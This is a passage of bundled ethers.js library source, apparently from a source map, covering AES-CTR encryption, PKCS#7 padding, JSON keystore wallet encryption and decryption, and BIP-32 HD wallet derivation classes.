_CTR_remainingIndex, \"f\") === 16) {\n __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, \"f\")), \"f\");\n __classPrivateFieldSet(this, _CTR_remainingIndex, 0, \"f\");\n this.increment();\n }\n crypttext[i] ^= __classPrivateFieldGet(this, _CTR_remaining, \"f\")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, \"f\"), _a = _b++, _b), \"f\"), _a];\n }\n return crypttext;\n }\n decrypt(ciphertext) {\n return this.encrypt(ciphertext);\n }\n}\n_CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap();\n//# sourceMappingURL=mode-ctr.js.map","export function pkcs7Pad(data) {\n const padder = 16 - (data.length % 16);\n const result = new Uint8Array(data.length + padder);\n result.set(data);\n for (let i = data.length; i < result.length; i++) {\n result[i] = padder;\n }\n return result;\n}\nexport function pkcs7Strip(data) {\n if (data.length < 16) {\n throw new TypeError('PKCS#7 invalid length');\n }\n const padder = data[data.length - 1];\n if (padder > 16) {\n throw new TypeError('PKCS#7 padding byte out of range');\n }\n const length = data.length - padder;\n for (let i = 0; i < padder; i++) {\n if (data[length + i] !== padder) {\n throw new TypeError('PKCS#7 invalid padding byte');\n }\n }\n return new Uint8Array(data.subarray(0, length));\n}\n//# sourceMappingURL=padding.js.map","/**\n * @_ignore\n */\nimport { getBytesCopy, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nexport function looseArrayify(hexString) {\n if (typeof (hexString) === \"string\" && !hexString.startsWith(\"0x\")) {\n hexString = \"0x\" + hexString;\n }\n return getBytesCopy(hexString);\n}\nexport function zpad(value, length) {\n value = String(value);\n while (value.length < length) {\n value = '0' + value;\n }\n return value;\n}\nexport function getPassword(password) {\n if (typeof (password) === 'string') {\n return toUtf8Bytes(password, \"NFKC\");\n }\n return getBytesCopy(password);\n}\nexport function spelunk(object, _path) {\n const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i);\n assertArgument(match != null, \"invalid path\", \"path\", _path);\n const path = match[1];\n const type = match[3];\n const reqd = (match[4] === \"!\");\n let cur = object;\n for (const comp of path.toLowerCase().split('.')) {\n // Search for a child object with a case-insensitive matching key\n if (Array.isArray(cur)) {\n if (!comp.match(/^[0-9]+$/)) {\n break;\n }\n cur = cur[parseInt(comp)];\n }\n else if (typeof (cur) === \"object\") {\n let found = null;\n for (const key in cur) {\n if (key.toLowerCase() === comp) {\n found = cur[key];\n break;\n }\n }\n cur = found;\n }\n else {\n cur = null;\n }\n if (cur == null) {\n break;\n }\n }\n assertArgument(!reqd || cur != null, \"missing required value\", \"path\", path);\n if (type && cur != null) {\n if (type === \"int\") {\n if (typeof (cur) === \"string\" && cur.match(/^-?[0-9]+$/)) {\n return parseInt(cur);\n }\n else if (Number.isSafeInteger(cur)) {\n return cur;\n }\n }\n if (type === \"number\") {\n if (typeof (cur) === \"string\" && cur.match(/^-?[0-9.]*$/)) {\n return parseFloat(cur);\n }\n }\n if (type === \"data\") {\n if (typeof (cur) === \"string\") {\n return looseArrayify(cur);\n }\n }\n if (type === \"array\" && Array.isArray(cur)) {\n return cur;\n }\n if (type === typeof (cur)) {\n return cur;\n }\n assertArgument(false, `wrong type found for ${type} `, \"path\", path);\n }\n return cur;\n}\n/*\nexport function follow(object: any, path: string): null | string {\n let currentChild = object;\n\n for (const comp of path.toLowerCase().split('/')) {\n\n // Search for a child object with a case-insensitive matching key\n let matchingChild = null;\n for (const key in currentChild) {\n if (key.toLowerCase() === comp) {\n matchingChild = currentChild[key];\n break;\n }\n }\n\n if (matchingChild === null) { return null; }\n\n currentChild = matchingChild;\n }\n\n return currentChild;\n}\n\n// \"path/to/something:type!\"\nexport function followRequired(data: any, path: string): string {\n const value = follow(data, path);\n if (value != null) { return value; }\n return logger.throwArgumentError(\"invalid value\", `data:${ path }`,\n JSON.stringify(data));\n}\n*/\n// See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4)\n/*\nexport function uuidV4(randomBytes: BytesLike): string {\n const bytes = getBytes(randomBytes, \"randomBytes\");\n\n // Section: 4.1.3:\n // - time_hi_and_version[12:16] = 0b0100\n bytes[6] = (bytes[6] & 0x0f) | 0x40;\n\n // Section 4.4\n // - clock_seq_hi_and_reserved[6] = 0b0\n // - clock_seq_hi_and_reserved[7] = 0b1\n bytes[8] = (bytes[8] & 0x3f) | 0x80;\n\n const value = hexlify(bytes);\n\n return [\n value.substring(2, 10),\n value.substring(10, 14),\n value.substring(14, 18),\n value.substring(18, 22),\n value.substring(22, 34),\n ].join(\"-\");\n}\n*/\n//# sourceMappingURL=utils.js.map","/**\n * The JSON Wallet formats allow a simple way to store the private\n * keys needed in Ethereum along with related information and allows\n * for extensible forms of encryption.\n *\n * These utilities facilitate decrypting and encrypting the most common\n * JSON Wallet formats.\n *\n * @_subsection: api/wallet:JSON Wallets [json-wallets]\n */\nimport { CTR } from \"aes-js\";\nimport { getAddress } from \"../address/index.js\";\nimport { keccak256, pbkdf2, randomBytes, scrypt, scryptSync } from \"../crypto/index.js\";\nimport { computeAddress } from \"../transaction/index.js\";\nimport { concat, getBytes, hexlify, uuidV4, assert, assertArgument } from \"../utils/index.js\";\nimport { getPassword, spelunk, zpad } from \"./utils.js\";\nimport { version } from \"../_version.js\";\nconst defaultPath = \"m/44'/60'/0'/0/0\";\n/**\n * Returns true if %%json%% is a valid JSON Keystore Wallet.\n */\nexport function isKeystoreJson(json) {\n try {\n const data = JSON.parse(json);\n const version = ((data.version != null) ? parseInt(data.version) : 0);\n if (version === 3) {\n return true;\n }\n }\n catch (error) { }\n return false;\n}\nfunction decrypt(data, key, ciphertext) {\n const cipher = spelunk(data, \"crypto.cipher:string\");\n if (cipher === \"aes-128-ctr\") {\n const iv = spelunk(data, \"crypto.cipherparams.iv:data!\");\n const aesCtr = new CTR(key, iv);\n return hexlify(aesCtr.decrypt(ciphertext));\n }\n assert(false, \"unsupported cipher\", \"UNSUPPORTED_OPERATION\", {\n operation: \"decrypt\"\n });\n}\nfunction getAccount(data, _key) {\n const key = getBytes(_key);\n const ciphertext = spelunk(data, \"crypto.ciphertext:data!\");\n const computedMAC = hexlify(keccak256(concat([key.slice(16, 32), ciphertext]))).substring(2);\n assertArgument(computedMAC === spelunk(data, \"crypto.mac:string!\").toLowerCase(), \"incorrect password\", \"password\", \"[ REDACTED ]\");\n const privateKey = decrypt(data, key.slice(0, 16), ciphertext);\n const address = computeAddress(privateKey);\n if (data.address) {\n let check = data.address.toLowerCase();\n if (!check.startsWith(\"0x\")) {\n check = \"0x\" + check;\n }\n assertArgument(getAddress(check) === address, \"keystore address/privateKey mismatch\", \"address\", data.address);\n }\n const account = { address, privateKey };\n // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase\n const version = spelunk(data, \"x-ethers.version:string\");\n if (version === \"0.1\") {\n const mnemonicKey = key.slice(32, 64);\n const mnemonicCiphertext = spelunk(data, \"x-ethers.mnemonicCiphertext:data!\");\n const mnemonicIv = spelunk(data, \"x-ethers.mnemonicCounter:data!\");\n const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv);\n account.mnemonic = {\n path: (spelunk(data, \"x-ethers.path:string\") || defaultPath),\n locale: (spelunk(data, \"x-ethers.locale:string\") || \"en\"),\n entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext)))\n };\n }\n return account;\n}\nfunction getDecryptKdfParams(data) {\n const kdf = spelunk(data, \"crypto.kdf:string\");\n if (kdf && typeof (kdf) === \"string\") {\n if (kdf.toLowerCase() === \"scrypt\") {\n const salt = spelunk(data, \"crypto.kdfparams.salt:data!\");\n const N = spelunk(data, \"crypto.kdfparams.n:int!\");\n const r = spelunk(data, \"crypto.kdfparams.r:int!\");\n const p = spelunk(data, \"crypto.kdfparams.p:int!\");\n // Make sure N is a power of 2\n assertArgument(N > 0 && (N & (N - 1)) === 0, \"invalid kdf.N\", \"kdf.N\", N);\n assertArgument(r > 0 && p > 0, \"invalid kdf\", \"kdf\", kdf);\n const dkLen = spelunk(data, \"crypto.kdfparams.dklen:int!\");\n assertArgument(dkLen === 32, \"invalid kdf.dklen\", \"kdf.dflen\", dkLen);\n return { name: \"scrypt\", salt, N, r, p, dkLen: 64 };\n }\n else if (kdf.toLowerCase() === \"pbkdf2\") {\n const salt = spelunk(data, \"crypto.kdfparams.salt:data!\");\n const prf = spelunk(data, \"crypto.kdfparams.prf:string!\");\n const algorithm = prf.split(\"-\").pop();\n assertArgument(algorithm === \"sha256\" || algorithm === \"sha512\", \"invalid kdf.pdf\", \"kdf.pdf\", prf);\n const count = spelunk(data, \"crypto.kdfparams.c:int!\");\n const dkLen = spelunk(data, \"crypto.kdfparams.dklen:int!\");\n assertArgument(dkLen === 32, \"invalid kdf.dklen\", \"kdf.dklen\", dkLen);\n return { name: \"pbkdf2\", salt, count, dkLen, algorithm };\n }\n }\n assertArgument(false, \"unsupported key-derivation function\", \"kdf\", kdf);\n}\n/**\n * Returns the account details for the JSON Keystore Wallet %%json%%\n * using %%password%%.\n *\n * It is preferred to use the [async version](decryptKeystoreJson)\n * instead, which allows a [[ProgressCallback]] to keep the user informed\n * as to the decryption status.\n *\n * This method will block the event loop (freezing all UI) until decryption\n * is complete, which can take quite some time, depending on the wallet\n * paramters and platform.\n */\nexport function decryptKeystoreJsonSync(json, _password) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n const params = getDecryptKdfParams(data);\n if (params.name === \"pbkdf2\") {\n const { salt, count, dkLen, algorithm } = params;\n const key = pbkdf2(password, salt, count, dkLen, algorithm);\n return getAccount(data, key);\n }\n assert(params.name === \"scrypt\", \"cannot be reached\", \"UNKNOWN_ERROR\", { params });\n const { salt, N, r, p, dkLen } = params;\n const key = scryptSync(password, salt, N, r, p, dkLen);\n return getAccount(data, key);\n}\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); });\n}\n/**\n * Resolves to the decrypted JSON Keystore Wallet %%json%% using the\n * %%password%%.\n *\n * If provided, %%progress%% will be called periodically during the\n * decrpytion to provide feedback, and if the function returns\n * ``false`` will halt decryption.\n *\n * The %%progressCallback%% will **always** receive ``0`` before\n * decryption begins and ``1`` when complete.\n */\nexport async function decryptKeystoreJson(json, _password, progress) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n const params = getDecryptKdfParams(data);\n if (params.name === \"pbkdf2\") {\n if (progress) {\n progress(0);\n await stall(0);\n }\n const { salt, count, dkLen, algorithm } = params;\n const key = pbkdf2(password, salt, count, dkLen, algorithm);\n if (progress) {\n progress(1);\n await stall(0);\n }\n return getAccount(data, key);\n }\n assert(params.name === \"scrypt\", \"cannot be reached\", \"UNKNOWN_ERROR\", { params });\n const { salt, N, r, p, dkLen } = params;\n const key = await scrypt(password, salt, N, r, p, dkLen, progress);\n return getAccount(data, key);\n}\nfunction getEncryptKdfParams(options) {\n // Check/generate the salt\n const salt = (options.salt != null) ? getBytes(options.salt, \"options.salt\") : randomBytes(32);\n // Override the scrypt password-based key derivation function parameters\n let N = (1 << 17), r = 8, p = 1;\n if (options.scrypt) {\n if (options.scrypt.N) {\n N = options.scrypt.N;\n }\n if (options.scrypt.r) {\n r = options.scrypt.r;\n }\n if (options.scrypt.p) {\n p = options.scrypt.p;\n }\n }\n assertArgument(typeof (N) === \"number\" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), \"invalid scrypt N parameter\", \"options.N\", N);\n assertArgument(typeof (r) === \"number\" && r > 0 && Number.isSafeInteger(r), \"invalid scrypt r parameter\", \"options.r\", r);\n assertArgument(typeof (p) === \"number\" && p > 0 && Number.isSafeInteger(p), \"invalid scrypt p parameter\", \"options.p\", p);\n return { name: \"scrypt\", dkLen: 32, salt, N, r, p };\n}\nfunction _encryptKeystore(key, kdf, account, options) {\n const privateKey = getBytes(account.privateKey, \"privateKey\");\n // Override initialization vector\n const iv = (options.iv != null) ? getBytes(options.iv, \"options.iv\") : randomBytes(16);\n assertArgument(iv.length === 16, \"invalid options.iv length\", \"options.iv\", options.iv);\n // Override the uuid\n const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, \"options.uuid\") : randomBytes(16);\n assertArgument(uuidRandom.length === 16, \"invalid options.uuid length\", \"options.uuid\", options.iv);\n // This will be used to encrypt the wallet (as per Web3 secret storage)\n // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix)\n // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet)\n const derivedKey = key.slice(0, 16);\n const macPrefix = key.slice(16, 32);\n // Encrypt the private key\n const aesCtr = new CTR(derivedKey, iv);\n const ciphertext = getBytes(aesCtr.encrypt(privateKey));\n // Compute the message authentication code, used to check the password\n const mac = keccak256(concat([macPrefix, ciphertext]));\n // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition\n const data = {\n address: account.address.substring(2).toLowerCase(),\n id: uuidV4(uuidRandom),\n version: 3,\n Crypto: {\n cipher: \"aes-128-ctr\",\n cipherparams: {\n iv: hexlify(iv).substring(2),\n },\n ciphertext: hexlify(ciphertext).substring(2),\n kdf: \"scrypt\",\n kdfparams: {\n salt: hexlify(kdf.salt).substring(2),\n n: kdf.N,\n dklen: 32,\n p: kdf.p,\n r: kdf.r\n },\n mac: mac.substring(2)\n }\n };\n // If we have a mnemonic, encrypt it into the JSON wallet\n if (account.mnemonic) {\n const client = (options.client != null) ? options.client : `ethers/${version}`;\n const path = account.mnemonic.path || defaultPath;\n const locale = account.mnemonic.locale || \"en\";\n const mnemonicKey = key.slice(32, 64);\n const entropy = getBytes(account.mnemonic.entropy, \"account.mnemonic.entropy\");\n const mnemonicIv = randomBytes(16);\n const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv);\n const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy));\n const now = new Date();\n const timestamp = (now.getUTCFullYear() + \"-\" +\n zpad(now.getUTCMonth() + 1, 2) + \"-\" +\n zpad(now.getUTCDate(), 2) + \"T\" +\n zpad(now.getUTCHours(), 2) + \"-\" +\n zpad(now.getUTCMinutes(), 2) + \"-\" +\n zpad(now.getUTCSeconds(), 2) + \".0Z\");\n const gethFilename = (\"UTC--\" + timestamp + \"--\" + data.address);\n data[\"x-ethers\"] = {\n client, gethFilename, path, locale,\n mnemonicCounter: hexlify(mnemonicIv).substring(2),\n mnemonicCiphertext: hexlify(mnemonicCiphertext).substring(2),\n version: \"0.1\"\n };\n }\n return JSON.stringify(data);\n}\n/**\n * Return the JSON Keystore Wallet for %%account%% encrypted with\n * %%password%%.\n *\n * The %%options%% can be used to tune the password-based key\n * derivation function parameters, explicitly set the random values\n * used. Any provided [[ProgressCallback]] is ignord.\n */\nexport function encryptKeystoreJsonSync(account, password, options) {\n if (options == null) {\n options = {};\n }\n const passwordBytes = getPassword(password);\n const kdf = getEncryptKdfParams(options);\n const key = scryptSync(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64);\n return _encryptKeystore(getBytes(key), kdf, account, options);\n}\n/**\n * Resolved to the JSON Keystore Wallet for %%account%% encrypted\n * with %%password%%.\n *\n * The %%options%% can be used to tune the password-based key\n * derivation function parameters, explicitly set the random values\n * used and provide a [[ProgressCallback]] to receive periodic updates\n * on the completion status..\n */\nexport async function encryptKeystoreJson(account, password, options) {\n if (options == null) {\n options = {};\n }\n const passwordBytes = getPassword(password);\n const kdf = getEncryptKdfParams(options);\n const key = await scrypt(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback);\n return _encryptKeystore(getBytes(key), kdf, account, options);\n}\n//# sourceMappingURL=json-keystore.js.map","/**\n * Explain HD Wallets..\n *\n * @_subsection: api/wallet:HD Wallets [hd-wallets]\n */\nimport { computeHmac, randomBytes, ripemd160, SigningKey, sha256 } from \"../crypto/index.js\";\nimport { VoidSigner } from \"../providers/index.js\";\nimport { computeAddress } from \"../transaction/index.js\";\nimport { concat, dataSlice, decodeBase58, defineProperties, encodeBase58, getBytes, hexlify, isBytesLike, getNumber, toBeArray, toBigInt, toBeHex, assertPrivate, assert, assertArgument } from \"../utils/index.js\";\nimport { LangEn } from \"../wordlists/lang-en.js\";\nimport { BaseWallet } from \"./base-wallet.js\";\nimport { Mnemonic } from \"./mnemonic.js\";\nimport { encryptKeystoreJson, encryptKeystoreJsonSync, } from \"./json-keystore.js\";\n/**\n * The default derivation path for Ethereum HD Nodes. (i.e. ``\"m/44'/60'/0'/0/0\"``)\n */\nexport const defaultPath = \"m/44'/60'/0'/0/0\";\n// \"Bitcoin seed\"\nconst MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]);\nconst HardenedBit = 0x80000000;\nconst N = BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");\nconst Nibbles = \"0123456789abcdef\";\nfunction zpad(value, length) {\n let result = \"\";\n while (value) {\n result = Nibbles[value % 16] + result;\n value = Math.trunc(value / 16);\n }\n while (result.length < length * 2) {\n result = \"0\" + result;\n }\n return \"0x\" + result;\n}\nfunction encodeBase58Check(_value) {\n const value = getBytes(_value);\n const check = dataSlice(sha256(sha256(value)), 0, 4);\n const bytes = concat([value, check]);\n return encodeBase58(bytes);\n}\nconst _guard = {};\nfunction ser_I(index, chainCode, publicKey, privateKey) {\n const data = new Uint8Array(37);\n if (index & HardenedBit) {\n assert(privateKey != null, \"cannot derive child of neutered node\", \"UNSUPPORTED_OPERATION\", {\n operation: \"deriveChild\"\n });\n // Data = 0x00 || ser_256(k_par)\n data.set(getBytes(privateKey), 1);\n }\n else {\n // Data = ser_p(point(k_par))\n data.set(getBytes(publicKey));\n }\n // Data += ser_32(i)\n for (let i = 24; i >= 0; i -= 8) {\n data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff);\n }\n const I = getBytes(computeHmac(\"sha512\", chainCode, data));\n return { IL: I.slice(0, 32), IR: I.slice(32) };\n}\nfunction derivePath(node, path) {\n const components = path.split(\"/\");\n assertArgument(components.length > 0, \"invalid path\", \"path\", path);\n if (components[0] === \"m\") {\n assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with \"m/\") for a node at non-zero depth ${node.depth}`, \"path\", path);\n components.shift();\n }\n let result = node;\n for (let i = 0; i < components.length; i++) {\n const component = components[i];\n if (component.match(/^[0-9]+'$/)) {\n const index = parseInt(component.substring(0, component.length - 1));\n assertArgument(index < HardenedBit, \"invalid path index\", `path[${i}]`, component);\n result = result.deriveChild(HardenedBit + index);\n }\n else if (component.match(/^[0-9]+$/)) {\n const index = parseInt(component);\n assertArgument(index < HardenedBit, \"invalid path index\", `path[${i}]`, component);\n result = result.deriveChild(index);\n }\n else {\n assertArgument(false, \"invalid path component\", `path[${i}]`, component);\n }\n }\n return result;\n}\n/**\n * An **HDNodeWallet** is a [[Signer]] backed by the private key derived\n * from an HD Node using the [[link-bip-32]] stantard.\n *\n * An HD Node forms a hierarchal structure with each HD Node having a\n * private key and the ability to derive child HD Nodes, defined by\n * a path indicating the index of each child.\n */\nexport class HDNodeWallet extends BaseWallet {\n /**\n * The compressed public key.\n */\n publicKey;\n /**\n * The fingerprint.\n *\n * A fingerprint allows quick qay to detect parent and child nodes,\n * but developers should be prepared to deal with collisions as it\n * is only 4 bytes.\n */\n fingerprint;\n /**\n * The parent fingerprint.\n */\n parentFingerprint;\n /**\n * The mnemonic used to create this HD Node, if available.\n *\n * Sources such as extended keys do not encode the mnemonic, in\n * which case this will be ``null``.\n */\n mnemonic;\n /**\n * The chaincode, which is effectively a public key used\n * to derive children.\n */\n chainCode;\n /**\n * The derivation path of this wallet.\n *\n * Since extended keys do not provide full path details, this\n * may be ``null``, if instantiated from a source that does not\n * encode it.\n */\n path;\n /**\n * The child index of this wallet. Values over ``2 *\\* 31`` indicate\n * the node is hardened.\n */\n index;\n /**\n * The depth of this wallet, which is the number of components\n * in its path.\n */\n depth;\n /**\n * @private\n */\n constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) {\n super(signingKey, provider);\n assertPrivate(guard, _guard, \"HDNodeWallet\");\n defineProperties(this, { publicKey: signingKey.compressedPublicKey });\n const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4);\n defineProperties(this, {\n parentFingerprint, fingerprint,\n chainCode, path, index, depth\n });\n defineProperties(this, { mnemonic });\n }\n connect(provider) {\n return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider);\n }\n #account() {\n const account = { address: this.address, privateKey: this.privateKey };\n const m = this.mnemonic;\n if (this.path && m && m.wordlist.locale === \"en\" && m.password === \"\") {\n account.mnemonic = {\n path: this.path,\n locale: \"en\",\n entropy: m.entropy\n };\n }\n return account;\n }\n /**\n * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with\n * %%password%%.\n *\n * If %%progressCallback%% is specified, it will receive periodic\n * updates as the encryption process progreses.\n */\n async encrypt(password, progressCallback) {\n return await encryptKeystoreJson(this.#account(), password, { progressCallback });\n }\n /**\n * Returns a [JSON Keystore Wallet](json-wallets) encryped with\n * %%password%%.\n *\n * It is preferred to use the [async version](encrypt) instead,\n * which allows a [[ProgressCallback]] to keep the user informed.\n *\n * This method will block the event loop (freezing all UI) until\n * it is complete, which may be a non-trivial duration.\n */\n encryptSync(password) {\n return encryptKeystoreJsonSync(this.#account(), password);\n }\n /**\n * The extended key.\n *\n * This key will begin with the prefix ``xpriv`` and can be used to\n * reconstruct this HD Node to derive its children.\n */\n get extendedKey() {\n // We only support the mainnet values for now, but if anyone needs\n // testnet values, let me know. I believe current sentiment is that\n // we should always use mainnet, and use BIP-44 to derive the network\n // - Mainnet: public=0x0488B21E, private=0x0488ADE4\n // - Testnet: public=0x043587CF, private=0x04358394\n assert(this.depth < 256, \"Depth too deep\", \"UNSUPPORTED_OPERATION\", { operation: \"extendedKey\" });\n return encodeBase58Check(concat([\n \"0x0488ADE4\", zpad(this.depth, 1), this.parentFingerprint,\n zpad(this.index, 4), this.chainCode,\n concat([\"0x00\", this.privateKey])\n ]));\n }\n /**\n * Returns true if this wallet has a path, providing a Type Guard\n * that the path is non-null.\n */\n hasPath() { return (this.path != null); }\n /**\n * Returns a neutered HD Node, which removes the private details\n * of an HD Node.\n *\n * A neutered node has no private key, but can be used to derive\n * child addresses and other public data about the HD Node.\n */\n neuter() {\n return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider);\n }\n /**\n * Return the child for %%index%%.\n */\n deriveChild(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index <= 0xffffffff, \"invalid index\", \"index\", index);\n // Base path\n let path = this.path;\n if (path) {\n path += \"/\" + (index & ~HardenedBit);\n if (index & HardenedBit) {\n path += \"'\";\n }\n }\n const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey);\n const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32));\n return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.mnemonic, this.provider);\n }\n /**\n * Return the HDNode for %%path%% from this node.\n */\n derivePath(path) {\n return derivePath(this, path);\n }\n static #fromSeed(_seed, mnemonic) {\n assertArgument(isBytesLike(_seed), \"invalid seed\", \"seed\", \"[REDACTED]\");\n const seed = getBytes(_seed, \"seed\");\n assertArgument(seed.length >= 16 && seed.length <= 64, \"invalid seed\", \"seed\", \"[REDACTED]\");\n const I = getBytes(computeHmac(\"sha512\", MasterSecret, seed));\n const signingKey = new SigningKey(hexlify(I.slice(0, 32)));\n return new HDNodeWallet(_guard, signingKey, \"0x00000000\", hexlify(I.slice(32)), \"m\", 0, 0, mnemonic, null);\n }\n /**\n * Creates a new HD Node from %%extendedKey%%.\n *\n * If the %%extendedKey%% will either have a prefix or ``xpub`` or\n * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]])\n * or full HD Node ([[HDNodeWallet) respectively.\n */\n static fromExtendedKey(extendedKey) {\n const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact\n assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, \"invalid extended key\", \"extendedKey\", \"[ REDACTED ]\");\n const depth = bytes[4];\n const parentFingerprint = hexlify(bytes.slice(5, 9));\n const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16);\n const chainCode = hexlify(bytes.slice(13, 45));\n const key = bytes.slice(45, 78);\n switch (hexlify(bytes.slice(0, 4))) {\n // Public Key\n case \"0x0488b21e\":\n case \"0x043587cf\": {\n const publicKey = hexlify(key);\n return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null);\n }\n // Private Key\n case \"0x0488ade4\":\n case \"0x04358394 \":\n if (key[0] !== 0) {\n break;\n }\n return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null);\n }\n assertArgument(false, \"invalid extended key prefix\", \"extendedKey\", \"[ REDACTED ]\");\n }\n /**\n * Creates a new random HDNode.\n */\n static createRandom(password, path, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (path == null) {\n path = defaultPath;\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist);\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Create an HD Node from %%mnemonic%%.\n */\n static fromMnemonic(mnemonic, path) {\n if (!path) {\n path = defaultPath;\n }\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Creates an HD Node from a mnemonic %%phrase%%.\n */\n static fromPhrase(phrase, password, path, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (path == null) {\n path = defaultPath;\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist);\n return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path);\n }\n /**\n * Creates an HD Node from a %%seed%%.\n */\n static fromSeed(seed) {\n return HDNodeWallet.#fromSeed(seed, null);\n }\n}\n/**\n * A **HDNodeVoidWallet** cannot sign, but provides access to\n * the children nodes of a [[link-bip-32]] HD wallet addresses.\n *\n * The can be created by using an extended ``xpub`` key to\n * [[HDNodeWallet_fromExtendedKey]] or by\n * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]].\n */\nexport class HDNodeVoidWallet extends VoidSigner {\n /**\n * The compressed public key.\n */\n publicKey;\n /**\n * The fingerprint.\n *\n * A fingerprint allows quick qay to detect parent and child nodes,\n * but developers should be prepared to deal with collisions as it\n * is only 4 bytes.\n */\n fingerprint;\n /**\n * The parent node fingerprint.\n */\n parentFingerprint;\n /**\n * The chaincode, which is effectively a public key used\n * to derive children.\n */\n chainCode;\n /**\n * The derivation path of this wallet.\n *\n * Since extended keys do not provider full path details, this\n * may be ``null``, if instantiated from a source that does not\n * enocde it.\n */\n path;\n /**\n * The child index of this wallet. Values over ``2 *\\* 31`` indicate\n * the node is hardened.\n */\n index;\n /**\n * The depth of this wallet, which is the number of components\n * in its path.\n */\n depth;\n /**\n * @private\n */\n constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) {\n super(address, provider);\n assertPrivate(guard, _guard, \"HDNodeVoidWallet\");\n defineProperties(this, { publicKey });\n const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4);\n defineProperties(this, {\n publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth\n });\n }\n connect(provider) {\n return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider);\n }\n /**\n * The extended key.\n *\n * This key will begin with the prefix ``xpub`` and can be used to\n * reconstruct this neutered key to derive its children addresses.\n */\n get extendedKey() {\n // We only support the mainnet values for now, but if anyone needs\n // testnet values, let me know. I believe current sentiment is that\n // we should always use mainnet, and use BIP-44 to derive the network\n // - Mainnet: public=0x0488B21E, private=0x0488ADE4\n // - Testnet: public=0x043587CF, private=0x04358394\n assert(this.depth < 256, \"Depth too deep\", \"UNSUPPORTED_OPERATION\", { operation: \"extendedKey\" });\n return encodeBase58Check(concat([\n \"0x0488B21E\",\n zpad(this.depth, 1),\n this.parentFingerprint,\n zpad(this.index, 4),\n this.chainCode,\n this.publicKey,\n ]));\n }\n /**\n * Returns true if this wallet has a path, providing a Type Guard\n * that the path is non-null.\n */\n hasPath() { return (this.path != null); }\n /**\n * Return the child for %%index%%.\n */\n deriveChild(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index <= 0xffffffff, \"invalid index\", \"index\", index);\n // Base path\n let path = this.path;\n if (path) {\n path += \"/\" + (index & ~HardenedBit);\n if (index & HardenedBit) {\n path += \"'\";\n }\n }\n const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null);\n const Ki = SigningKey.addPoints(IL, this.publicKey, true);\n const address = computeAddress(Ki);\n return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.provider);\n }\n /**\n * Return the signer for %%path%% from this node.\n */\n derivePath(path) {\n return derivePath(this, path);\n }\n}\n/*\nexport class HDNodeWalletManager {\n #root: HDNodeWallet;\n\n constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) {\n if (password == null) { password = \"\"; }\n if (path 